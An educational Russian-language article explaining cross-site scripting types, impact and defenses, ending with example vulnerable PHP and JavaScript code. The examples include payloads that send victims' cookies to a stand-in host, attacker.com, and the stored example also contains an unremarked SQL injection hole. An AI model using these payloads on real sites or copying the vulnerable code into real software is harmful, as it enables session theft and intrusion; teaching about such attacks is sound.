Межсайтовый скриптинг (Cross-Site Scripting, XSS) - это тип инъекционной атаки на веб-приложения, при которой злоумышленник внедряет вредоносный код (обычно JavaScript) в доверенный веб-сайт, который затем исполняется в браузере жертвы. В отличие от многих других атак, нацеленных на серверную инфраструктуру, объектом XSS-атаки становится не сам сервер, а браузер пользователя, что делает эту уязвимость особенно опасной для конфиденциальных данных и активных сессий.
Суть атаки заключается в том, что веб-приложение принимает данные от пользователя (например, через форму поиска, комментарии или параметры URL) и возвращает их обратно в браузер без должной проверки или кодирования. Браузер, не имея возможности отличить легитимный код сайта от внедрённого злоумышленником, исполняет вредоносный сценарий в контексте доверенного ресурса. Это даёт атакующему доступ к cookies, токенам сессии, данным форм и другой чувствительной информации, хранимой браузером для этого сайта. Вредоносный код также может переписывать содержимое страницы, перенаправлять жертву на фишинговые ресурсы или выполнять действия от имени пользователя.
Исторически сложилось разделение XSS-атак на три основных типа в зависимости от способа доставки и хранения полезной нагрузки. Отражённый (Reflected) XSS возникает, когда вредоносный код немедленно возвращается сервером в ответ на запрос пользователя, например, в сообщении об ошибке или результатах поиска. Хранимый (Stored) XSS представляет собой более серьёзную угрозу: полезная нагрузка сохраняется на сервере (в базе данных, на форуме, в комментариях) и исполняется в браузере каждого пользователя, просматривающего заражённую страницу. XSS на основе DOM (DOM-based XSS), выделенный в 2005 году, отличается тем, что весь процесс внедрения и исполнения происходит исключительно на стороне клиента, без участия сервера: сценарий манипулирует объектной моделью документа, заставляя клиентский код выполняться непредусмотренным образом.
Последствия успешной XSS-атаки могут быть крайне серьёзными: от кражи сессионных cookies и получения несанкционированного доступа к учётной записи до массовой компрометации данных пользователей и распространения вредоносного программного обеспечения. XSS остаётся одной из наиболее часто обнаруживаемых уязвимостей веб-приложений, что подтверждается реальными инцидентами. Например, в 2025–2026 годах APT28 эксплуатировала XSS-уязвимость CVE-2025-66376 в почтовом сервере Zimbra для атак на государственные учреждения Украины, используя вредоносный JavaScript, встроенный в HTML-письма, для кражи учётных данных, токенов сессий и кодов двухфакторной аутентификации.
Для защиты от XSS-атак применяется комплексный подход, включающий контекстно-зависимое кодирование вывода, строгую политику безопасности контента (CSP), валидацию входных данных, установку флага HttpOnly для сессионных cookies и использование современных фреймворков, автоматически экранирующих пользовательский ввод.
Примеры XSS атак
Пример отражённого XSS (Reflected XSS)
Уязвимый код на PHP, который выводит параметр поиска без экранирования:
| 1 2 3 4 | <?php $search = $_GET['query']; echo "<p>Результаты поиска для: " . $search . "</p>"; ?> |
Злоумышленник формирует ссылку вида:
| 1 | http://example.com/search.php?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> |
При переходе по этой ссылке жертвой браузер исполняет внедрённый скрипт в контексте example.com, и cookies пользователя отправляются на сервер атакующего.
Пример хранимого XSS (Stored XSS)
Уязвимый код, сохраняющий комментарии в базе данных и выводящий их без экранирования:
| 1 2 3 4 5 6 7 8 9 10 11 | <?php // Сохранение комментария $comment = $_POST['comment']; $db->query("INSERT INTO comments (text) VALUES ('$comment')"); // Вывод комментариев $result = $db->query("SELECT text FROM comments"); while ($row = $result->fetch_assoc()) { echo "<div class='comment'>" . $row['text'] . "</div>"; } ?> |
Злоумышленник оставляет комментарий:
| 1 2 3 | <script> new Image().src = 'http://attacker.com/log?c=' + encodeURIComponent(document.cookie); </script> |
Этот скрипт сохраняется в базе данных и исполняется в браузере каждого пользователя, который просматривает страницу с комментариями.
Пример DOM-based XSS
Уязвимый клиентский код на JavaScript:
| 1 2 | var userInput = document.location.hash.substring(1); document.getElementById("output").innerHTML = userInput; |
Злоумышленник отправляет жертве ссылку:
| 1 | http://example.com/page.html#<img src=x onerror=alert(document.cookie)> |
Браузер исполняет JavaScript, извлекая значение из хэша URL и вставляя его в DOM через innerHTML. Атрибут onerror срабатывает при попытке загрузки несуществующего изображения, и cookies жертвы становятся доступны атакующему.